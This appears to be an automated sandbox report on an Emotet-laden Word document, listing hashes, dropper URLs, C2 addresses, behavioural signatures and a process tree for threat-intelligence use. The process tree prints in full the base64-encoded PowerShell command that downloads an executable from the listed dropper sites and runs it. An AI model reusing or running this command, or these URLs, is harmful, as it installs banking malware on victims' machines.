emotet | fce4f8a710e0b5c70dbefba56be92297a5ca5ccc6fbf5494dbf017f1e8abc24b

General

Target
ST_74413177.doc
Size 170KB
Sample200731-61367qsfre
SHA256 fce4f8a710e0b5c70dbefba56be92297a5ca5ccc6fbf5494dbf017f1e8abc24b
MD5 88cc467b05fd9cad3e89ff2c53afc8cd
SHA1 4a7120f7262a21c3e2aa552da8828eea23c4f2e0
SHA512 19cbd5b40e0abfd037be657353bca772bfab47cc39ce5349c5bc2ea2539edbdb0ef925925cb2f0dc58e2d2c4f139752b6474ad796922e7aa271d2ac06c2abaa8
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://mktf.mx/wp-includes/nf_p0w_z87k/
exe.dropper
http://dragonfang.com/nav/pu_4cz89_3e81ooa90c/
exe.dropper
http://maxiquim.cl/cgi-bin/qa0_i_qzk/
exe.dropper
https://www.planetkram.com/egherdbaseball/z_xu00_9hbk939elw/
exe.dropper
http://meulocal.com.br/suspend-page/0e_wt5bq_ekn/

Extracted

Family

emotet

C2

47.146.117.214:80
62.108.54.22:8080
212.51.142.238:8080
190.160.53.126:80
87.106.136.232:8080
74.208.45.104:8080
121.124.124.40:7080
124.45.106.173:443
76.27.179.47:80
210.165.156.91:80
61.19.246.238:443
81.2.235.111:8080
169.239.182.217:8080
181.230.116.163:80
139.130.242.43:80
46.105.131.87:80
139.59.60.244:8080
222.214.218.37:4143
41.60.200.34:80
200.55.243.138:8080
24.234.133.205:80
190.55.181.54:443
189.212.199.126:443
93.156.165.186:80
62.138.26.28:8080
62.75.141.82:80
176.111.60.55:8080
168.235.67.138:7080
109.117.53.230:443
5.196.74.210:8080
162.154.38.103:80
152.168.248.128:443
83.110.223.58:443
95.9.185.228:443
180.92.239.110:8080
209.141.54.221:8080
37.187.72.193:8080
113.160.130.116:8443
85.59.136.180:8080
79.98.24.39:8080
91.231.166.124:8080
185.94.252.104:443
108.48.41.69:80
95.179.229.244:8080
71.208.216.10:80
93.51.50.171:8080
78.24.219.147:8080
24.179.13.119:80
200.41.121.90:80
153.126.210.205:7080
104.236.246.93:8080
46.105.131.79:8080
201.173.217.124:443
50.116.86.205:8080
116.203.32.252:8080
157.245.99.39:8080
109.74.5.95:8080
203.153.216.189:7080
87.106.139.101:8080
137.59.187.107:8080
110.145.77.103:80
47.153.182.47:80
95.213.236.64:8080
24.43.99.75:80
209.182.216.177:443
173.91.22.41:80
5.39.91.110:7080
75.139.38.211:80
91.211.88.52:7080
37.139.21.175:8080
162.241.92.219:8080
104.131.11.150:443
70.167.215.250:8080
104.131.44.150:8080
103.86.49.11:8080
65.111.120.223:80

rsa_pubkey.plain

Signatures

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3100	WINWORD.EXE
3100	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3664	powersheLL.exe
3664	powersheLL.exe
3664	powersheLL.exe
1580	wlanpref.exe
1580	wlanpref.exe
1580	wlanpref.exe
1580	wlanpref.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
25	3664	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1164 wrote to memory of 1580	1164	14.exe	76
PID 1164 wrote to memory of 1580	1164	14.exe	76
PID 1164 wrote to memory of 1580	1164	14.exe	76

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msyuv\wlanpref.exe	14.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
3100	WINWORD.EXE
1164	14.exe
1580	wlanpref.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3664	3796	powersheLL.exe	68

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3664	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1164	14.exe
1580	wlanpref.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1164-10-0x0000000002240000-0x000000000224C000-memory.dmp	emotet
behavioral2/memory/1164-10-0x0000000002240000-0x000000000224C000-memory.dmp	emotet
behavioral2/memory/1580-13-0x00000000007F0000-0x00000000007FC000-memory.dmp	emotet
behavioral2/memory/1580-13-0x00000000007F0000-0x00000000007FC000-memory.dmp	emotet

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ST_74413177.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
PID:3100

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABWAEcASgBLAFgAbQB4AGUAPQAnAEQARQBWAFIAVgB4AGgAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAUgBgAEkAdAB5AHAAcgBvAHQAbwBjAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwASwBGAFIATQBkAHAAZAAgAD0AIAAnADEANAAnADsAJABBAEEASABOAFkAYgBuAGgAPQAnAFQAQgBNAE8AQgBhAGcAZwAnADsAJABGAFoAUgBWAEkAdQBtAHMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEwASwBGAFIATQBkAHAAZAArACcALgBlAHgAZQAnADsAJABWAEMARQBYAEUAbQBpAG8APQAnAFQATwBIAEsAWQBkAHEAYwAnADsAJABJAFoASwBYAEsAdwBzAHoAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAYwBsAGkAZQBOAHQAOwAkAFYASQBDAFoAUgBzAHkAcgA9ACcAaAB0AHQAcAA6AC8ALwBtAGsAdABmAC4AbQB4AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AbgBmAF8AcAAwAHcAXwB6ADgANwBrAC8AKgBoAHQAdABwADoALwAvAGQAcgBhAGcAbwBuAGYAYQBuAGcALgBjAG8AbQAvAG4AYQB2AC8AcAB1AF8ANABjAHoAOAA5AF8AMwBlADgAMQBvAG8AYQA5ADAAYwAvACoAaAB0AHQAcAA6AC8ALwBtAGEAeABpAHEAdQBpAG0ALgBjAGwALwBjAGcAaQAtAGIAaQBuAC8AcQBhADAAXwBpAF8AcQB6AGsALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHAAbABhAG4AZQB0AGsAcgBhAG0ALgBjAG8AbQAvAGUAZwBoAGUAcgBkAGIAYQBzAGUAYgBhAGwAbAAvAHoAXwB4AHUAMAAwAF8AOQBoAGIAawA5ADMAOQBlAGwAdwAvACoAaAB0AHQAcAA6AC8ALwBtAGUAdQBsAG8AYwBhAGwALgBjAG8AbQAuAGIAcgAvAHMAdQBzAHAAZQBuAGQALQBwAGEAZwBlAC8AMABlAF8AdwB0ADUAYgBxAF8AZQBrAG4ALwAnAC4AIgBTAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4AVABMAEkASwBlAGcAawA9ACcAUgBRAFUAUgBQAHIAYgBzACcAOwBmAG8AcgBlAGEAYwBoACgAJABMAE8AUABEAEUAcwBiAG4AIABpAG4AIAAkAFYASQBDAFoAUgBzAHkAcgApAHsAdAByAHkAewAkAEkAWgBLAFgASwB3AHMAegAuACIARABvAHcAbgBgAEwAYABPAEEAZABgAEYASQBMAEUAIgAoACQATABPAFAARABFAHMAYgBuACwAIAAkAEYAWgBSAFYASQB1AG0AcwApADsAJABUAEMAVgBWAEUAawBnAHQAPQAnAEkASgBDAEoAWAB5AGkAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEYAWgBSAFYASQB1AG0AcwApAC4AIgBsAGAAZQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADYAMAA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBFAGEAYABUAEUAIgAoACQARgBaAFIAVgBJAHUAbQBzACkAOwAkAE4AUgBBAFEAVABmAHEAeAA9ACcAQwBaAFEASgBHAGUAeAB6ACcAOwBiAHIAZQBhAGsAOwAkAFMATwBCAEIAUQBtAHkAYgA9ACcASQBUAFYASgBXAGUAZwBmACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQATABDAFAATgBtAGYAcgA9ACcAUwBaAFcARQBBAHkAbABhACcA
1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:3664

C:\Users\Admin\14.exe
C:\Users\Admin\14.exe
1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:1164
- C:\Windows\SysWOW64\msyuv\wlanpref.exe
  "C:\Windows\SysWOW64\msyuv\wlanpref.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  PID:1580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1164-10-0x0000000002240000-0x000000000224C000-memory.dmp

Download

memory/1580-13-0x00000000007F0000-0x00000000007FC000-memory.dmp

Download

memory/3100-3-0x000001358B1CE000-0x000001358B1D3000-memory.dmp

Download

memory/3100-7-0x000001358D830000-0x000001358D844000-memory.dmp

Download

memory/3100-6-0x000001358D830000-0x000001358D844000-memory.dmp

Download

memory/3100-5-0x000001358D830000-0x000001358D844000-memory.dmp

Download

memory/3100-4-0x000001358D830000-0x000001358D844000-memory.dmp

Download

memory/3100-0-0x000001358D71F000-0x000001358D724000-memory.dmp

Download

memory/3100-2-0x000001358D724000-0x000001358D727000-memory.dmp

Download

memory/3100-1-0x000001358D724000-0x000001358D727000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads